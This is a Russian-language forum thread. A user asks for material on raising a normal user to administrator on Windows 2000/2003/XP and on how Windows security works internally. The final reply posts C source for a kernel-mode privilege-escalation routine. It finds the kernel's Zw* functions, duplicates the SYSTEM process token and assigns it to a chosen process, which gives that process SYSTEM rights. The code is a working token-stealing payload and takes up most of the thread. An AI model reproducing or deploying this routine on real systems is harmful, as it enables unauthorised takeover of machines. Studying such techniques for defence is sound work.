Знаю, что тема неоднократно поднималась, но все же надеюсь, что получу здесь источники для пополнения своих скромных знаний в этом вопросе. Интересуют в первую очередь исходники, примеры, статьи по повышению прав обычного пользователя до администратора. Также книжки по внутреннему устройству безопасности в данных OS Windows 2000, 2003, XP.
смотри инфу по багам я не знаю что ты уконкретно имеешщь в виду под "исходниками, примерами, статьями по повышению прав обычного пользователя до администратора". Что именно требуется? При каких то багах как юзать? Или как баги искать? Или как легально ввести пароль администратора и получить токен?
Мне нужно именно информацию по данной теме. Конкретика сформируется позже, пока только собираю базу для формирования собственного представления. Вот хотябы где прочитать про устройство безопасности Windows на программном уровне, т.к. уровень UI меня не очень интересует (вершину айсберга созерцать некошерно, нужна суть, т.е. как это все работает) Как пример, пользователь пытается войти в систему, она его проверяет (вопрос с помощью каких средств?), проверила, дала токен, далее пользователь запускает программу или ходит по файловой системе (опять же как система обеспечивает проверку прав?) и т.д. Т.е. нужен техничекий аспект.
Как всегда общие ответы, особенно по поводу google.com. Нет чтобы конкретными ссылками поделиться на хорошие странички, надо обязательно свое фе вставить. P.S. Большинство поисковых систем на запрос в последнее время выводят либо рекламу, либо хрен знает что. Спасибо SEO за это как черному, так и белому. Сугубо личное ИМХО.
повышение прав?) Код (Text): #include <windows.h> #include "../common/nt.h" #include "../common/utils.h" #include "../common/DbgConsole.h" static ULONG SystemProcessId; static NTSTATUS (NTAPI * ZwOpenProcess)(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL); static NTSTATUS (NTAPI * ZwOpenProcessToken)(IN HANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,OUT PHANDLE TokenHandle); static NTSTATUS (NTAPI * ZwDuplicateToken)(IN HANDLE ExistingTokenHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN BOOLEAN EffectiveOnly,IN TOKEN_TYPE TokenType,OUT PHANDLE NewTokenHandle); static NTSTATUS (NTAPI * ZwSetInformationProcess)(IN HANDLE ProcessHandle,IN PROCESSINFOCLASS ProcessInformationClass,IN PVOID ProcessInformation,IN ULONG ProcessInformationLength); static NTSTATUS (NTAPI * ZwClose)(IN HANDLE Handle); #ifdef R_DEBUG static VOID (__cdecl * DbgPrint)(LPCTSTR fmt,...); #else #define DbgPrint // #endif // ElevateSystemPrivilegesR0 NTSTATUS NTAPI ElevateSystemPrivilegesR0(IN HANDLE ProcessId) { HANDLE SystemProcessHandle,TokenHandle,ProcessHandle,NewTokenHandle; PROCESS_ACCESS_TOKEN Token; OBJECT_ATTRIBUTES Attr; CLIENT_ID ClientId; NTSTATUS st; if (!ZwOpenProcess || !ZwOpenProcessToken || !ZwDuplicateToken || !ZwSetInformationProcess || !ZwClose) { return STATUS_ACCESS_VIOLATION; } #ifdef R_DEBUG if (!DbgPrint) return STATUS_ACCESS_VIOLATION; #endif InitializeObjectAttributes(&Attr,0,0,0,0); ClientId.UniqueProcess = (HANDLE)SystemProcessId; ClientId.UniqueThread = 0; st = ZwOpenProcess(&SystemProcessHandle,PROCESS_QUERY_INFORMATION,&Attr,&ClientId); if (NT_SUCCESS(st)) { DbgPrint("ZwOpenProcess (SYSTEM) succeeded\n"); st = ZwOpenProcessToken(SystemProcessHandle,TOKEN_QUERY,&TokenHandle); if (NT_SUCCESS(st)) { DbgPrint("ZwOpenProcessToken succeeded, handle : %08x\n",TokenHandle); st = ZwDuplicateToken(TokenHandle,TOKEN_ASSIGN_PRIMARY,0,FALSE,TokenPrimary,&NewTokenHandle); if (NT_SUCCESS(st)) { DbgPrint("ZwDuplicateToken succeeded\n"); ClientId.UniqueProcess = ProcessId; st = ZwOpenProcess(&ProcessHandle,PROCESS_SET_INFORMATION,&Attr,&ClientId); if (NT_SUCCESS(st)) { DbgPrint("ZwOpenProcess (SPECIFIED) succeeded\n"); Token.Token = NewTokenHandle; Token.Thread = 0; st = ZwSetInformationProcess(ProcessHandle,ProcessAccessToken,&Token,sizeof(Token)); DbgPrint("ZwSetInformationProcess returned with status %08x\n",st); ZwClose(ProcessHandle); } else { DbgPrint("ZwOpenProcess (SPECIFIED) failed with status %08x\n",st); } ZwClose(NewTokenHandle); } else { DbgPrint("ZwDuplicateToken failed with status %08x\n",st); } ZwClose(TokenHandle); } else { DbgPrint("ZwOpenProcessToken failed with status %08x\n",st); } ZwClose(SystemProcessHandle); } else { DbgPrint("ZwOpenProcess (SYSTEM) failed with status %08x\n",st); } return st; } VOID ElevateInitRoutines(PVOID KernelMappedBase,ULONG KernelBase) { SystemProcessId = FindProcessIdByName("system"); *(ULONG*)&ZwOpenProcess = GetExportEntry(KernelMappedBase,"ZwOpenProcess")-(ULONG)KernelMappedBase+KernelBase; *(ULONG*)&ZwOpenProcessToken = GetExportEntry(KernelMappedBase,"ZwOpenProcessToken")-(ULONG)KernelMappedBase+KernelBase; *(ULONG*)&ZwDuplicateToken = GetExportEntry(KernelMappedBase,"ZwDuplicateToken")-(ULONG)KernelMappedBase+KernelBase; *(ULONG*)&ZwSetInformationProcess = GetExportEntry(KernelMappedBase,"ZwSetInformationProcess")-(ULONG)KernelMappedBase+KernelBase; *(ULONG*)&ZwClose = GetExportEntry(KernelMappedBase,"ZwClose")-(ULONG)KernelMappedBase+KernelBase; #ifdef R_DEBUG *(ULONG*)&DbgPrint = GetExportEntry(KernelMappedBase,"DbgPrint")-(ULONG)KernelMappedBase+KernelBase; D_Print("ZwOpenProcess : %08x\nZwOpenProcessToken : %08x\nZwDuplicateToken : %08x\nZwSetInformationProcess : %08x\nZwClose : %08x\nDbgPrint : %08x", ZwOpenProcess,ZwOpenProcessToken,ZwDuplicateToken,ZwSetInformationProcess,ZwClose,DbgPrint); #endif }